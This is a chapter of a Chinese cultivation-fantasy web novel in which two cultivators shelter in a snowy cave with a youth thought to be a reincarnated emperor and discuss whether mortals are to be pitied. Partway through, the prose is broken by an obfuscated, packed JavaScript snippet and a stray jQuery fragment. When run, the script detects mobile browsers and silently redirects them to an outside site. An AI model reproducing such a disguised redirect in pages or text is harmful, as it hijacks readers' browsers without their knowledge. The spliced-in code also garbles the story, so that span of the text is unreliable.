目的地不过五里,但没了雪龙代步,两人的脚程自然也有限起来,虽说能勉强浮于地面,不用如同凡人一般一脚深一脚浅一脚地在雪地里艰难前行,却也颇费了一番功夫。好在那山洞的确是个休憩的好地方,寒气虽没有半分减轻,却隔绝了下雪时的湿气,这一遭辛苦也算没白挨。
方远知放下怀中抱着的少年,回身第一件事是布置好阵法结界,屏蔽他人的神识探查。第二件事便是取出一只小炼丹炉,放进几块火属性灵石,空烧着,只做暖炉用。
方远知当然是不怕受冻的,如此一番动作只是为了那少年着想——少年未曾修炼,身上一点法力也无,与凡人无异,就算有暖玉护着,也恐怕会被冻坏根骨。送佛送到西,他们一番折腾,为的可是全须全尾将这少年送回九仙山,若是根骨受损不能修炼,岂非白折腾一场?
季含光明白这层意思,伸手摸了摸少年的脉,又探了探鼻息,发觉他大概是要醒了,就对着方远知比了个噤声的手势,自己也不再说话,只静静守着那炉子。
外头的风声雪声越发紧了,山洞内却是暖意盎然,不多时,躺在地上的少年忽然长舒一口气,胸前剧烈起伏了几下,睫羽微颤,是终于睁开了双眼。
好漂亮的一双眼。
眼尾狭长上挑,眸色黑似点漆,显出一种格外的深沉来。
原本还因为虚弱而憔悴的面孔点缀上这双眼,刹那间就带上了三份不怒自威。若说人皇转世,也未必没有道理,季含光暗叹。
“我是……在哪……你们又是谁?”少年嗓音嘶哑道。
方远知立刻微笑答道:“我名唤方远知,是九仙山的结丹弟子,这是我徒儿辛夷,如今你还未拜入山门,与我平辈论交,叫一声方兄即可。长老们方才将你从寒潭中解放,便遭人截杀。我与辛夷突围而出,一路躲避贼人到了这里歇脚,现下还没出昆仑山,再向外走,恐怕还有二十里的路程。”
少年仔细听完这番话,虽然满身不适,却还是勉强挤出个笑来:“方师叔言重了,我虽还未修行,可终究是要拜入山门的,怎可与您平辈论交?我名叫商常洛,师叔唤我师侄便好。如今有一事,要实在麻烦您与师姐。”
甫一开口便是有事相求,方远知倒因此生出了几分兴味,含笑道:“师侄且讲,只要不是立出昆仑这种力所不及的,我必为你办到。”
商常洛勉力勾了勾唇角,哑声道:“对师叔来说,这事想必不难办到。师侄现在到底还是凡人,如今从大梦中醒来,缺水少食,实在难熬,不知师叔可带有能果腹之物?”
水倒是好办——这漫山大雪,怎么也不会缺了喝,但吃的……修士从筑基期便可辟谷,季含光方远知两个元婴老怪,平日不食人间烟火惯了,哪里会带着凡人的食物?
两个人对视一眼,是俱从对方眼中看到了无奈。
自己储物袋中倒是有些灵药灵果,商常洛能吃么?然而再一仔细琢磨药性,方远知又果断放弃了这个想法——凭自己这些灵药,就是炼气修士吃了都要经脉损伤,何况一介刚从冰窟里被捞上来的凡人。
大概真得去外头奔波一番了。
不过心里这样想,他嘴上却答应得痛快:“这有何难?师侄等上片刻便好。”
饮水方便解决,他便先于储物袋中一阵翻找,勉强找出个钵形法器,到外面盛了满满一碗雪,回来架在小炼丹炉上化开,勉强凑出个煮茶的炉子来。可笑这两件价值数千灵石的法器,如今竟被当成凡间的器物来用。
丹炉不见明火,热力却足,一钵水顷刻间便冒起了小泡。他将自己备着的灵茶叶撒水中入,看着茶叶被沸水的气泡翻腾开来,对着季含光道:“为师出去为你师弟寻些食物,这钵千枫茶煮过半刻才能将灵力完全浸出,你等会端给他喝。”
说罢,便径直出了洞,往茫茫大雪中走去了。
商常洛瞧着那道白色背影,神情中颇有怔然之意,季含光以为他是担忧方远知安危,便出言安慰道:“师弟莫怕,这昆仑山虽冷,但到底不是生灵灭绝之地,就算猎不到麋鹿,师尊总也找能到些野兔团雀之类。”
商常洛听到她声音,又是一楞,旋即点点头:“不瞒师姐,我并非担忧师叔寻不来吃食,只是想着外面或许还有贼人,怕师叔同那些人碰上了。”
季含光心道那元婴修士已死,凭一群结丹小辈又真能威胁方远知性命不成?此刻心里并没有半分担忧,但面对商常洛,还是装出一副略有担心的样子,嘴上安慰他道:“师尊本事通天彻地,身上又有师叔祖赐下的天雷子,寻常修士奈何不得他,必然能平安归来。”
听她如此说,商常洛也不知真信了几分,总之是点点头道:“那我便放心了。”
恰在此时,半刻已到,季含光起身,以灵力牵引那钵茶移开丹炉,再凑近洞口,把热气散过大半,才捧着这钵茶回来递给商常洛,笑道:“这茶水冷热应当正好,师弟尽快喝了吧。”
商常洛道了谢,接过茶,虽然焦渴,但也是一小口一小口很斯文在将茶水落肚,足见礼仪周全,非常人家出身。如此将一钵茶喝过一半,他便不再继续,只把钵搁在一边,看着洞外大雪出神。
思索许久,他问道:“师姐,方才说的师叔祖他们如何了?”
“听师尊说,元婴修士斗法大多不分生死,师叔祖他们应该无事。”季含光毫不客气地将自己这身份不该知道信息通通甩给方远知,又道:“况且这伙人只为缠斗而来,就更不会拼命了。”
“修士,也会死么?”,商常洛忽然如此发问。
季含光自他这句话里听出了莫名的意味深长,但又不好琢磨来由,当下只反问道:“当初带你回山时,长老们没说过这些事么?”
商常洛摇摇头,垂眸道:“他们只说修真是修己,站至顶峰便可长生不老,看遍人间王国兴衰,沧海桑田,与天道长存。”
九仙山这帮老东西……
季含光几乎失笑,他们就这么看重这个人皇转世?元婴老怪连哄带骗一个凡人,说出去也不怕丢人么?
也罢,今天自己就多一回嘴,但究竟能参透几分,只看这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13355161|140690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
位师弟悟性如何了。
她挨着商常洛坐下,自储物袋里取出一把药材,一边打理一边轻声道:“修士自然也会死,坏的是斗法落败,被敌手灭杀而死,好些的是久久无法突破下一层境界,寿元耗尽而死,只不过高阶修士说得好听些,叫尸解成仙,但终究都是身死道消。”
商常洛显然来了兴致,追问道:“那师姐认为,凡人可怜么?”
季含光手中动作顿时一停,有几分明白了他的心思,却并不点破,只问道:“师弟觉着,修士看凡人,与凡人看蝼蚁之间,可有不同?”
商常洛思索片刻道:“师姐的意思是,修士看凡人,便如看蝼蚁一般么?”
“不,大不相同。”
“哦?”
“凡人可对蝼蚁予取予求,但师弟在俗世的几年,可曾听闻过修士在哪里翻手为云覆手为雨么?”
“的确未曾。”
季含光颔首:“这便是了,修界众所周知的一条铁则,便是不可牵涉凡人事务,否则必遭果报。这规矩自上古流传到现在,犯禁的人也的确都下场凄惨,修士们却始终无法确知何谓牵涉,果报又如何到来,便索性避世,尽量叫世人不知自己的存在。”
说到这里,她微微一笑:“师弟你想,若蝼蚁也是这般,这天下岂不要大乱了么?”
所需求的信息被清楚明白地尽皆送上,商常洛于是也笑了,当下微微低头,真诚拱手谢道:“多谢师姐解惑。”
“只是还有一个问题,不知师姐可愿回答?”
“你且先问。”
商常洛闻言抬头,面色依旧透着虚弱,眸光却灿若明星,轻声问道:“在师姐眼中,凡人可怜么?”
同先前一模一样的问题,什么意思?
季含光拧眉,偏过头来,试图从他表情上找出这样一问的缘由,然而甫一望向他眼底,察觉出那浓厚的、毫不掩饰的好奇与亲近,忽然就明白了这问题有何不同。
第一次是为了获知消息的试探,这第二次却是真心实意在询问她的看法。
要答么?
似乎没这个必要。
但……自己怎么不算是个好事之徒呢?
盯着商常洛的眼,她不疾不徐地开了口:“凡人太多了,修士也太多了。”
“修士高者,如我宗太上长老,自幼苦修不问俗事,如今一身修为冠绝天下,此身不陨,便能永镇九仙山门。凡人高者,如万年前御极神皇,一己之力统辖万方,救亿万生民于水火,造就四海升平的天国气象。”
“这二者孰高孰低,孰优孰劣,谁又能可怜谁呢?”
“凡人低者,受战火天灾人祸,流离失所,家破人亡。修士低者,无家族荫蔽,无宗门依靠,散居山野之间,或死于修士间争斗,或亡于妖兽之口,或等到寿元耗尽,身死道消。”
“若要我看来,二者之间并无高低,不过皆是天道之下的芸芸众生罢了。
一席话说完,她笑着叹口气道:“我不过一介碌碌庸徒,哪里可怜得过来那许多人呢?”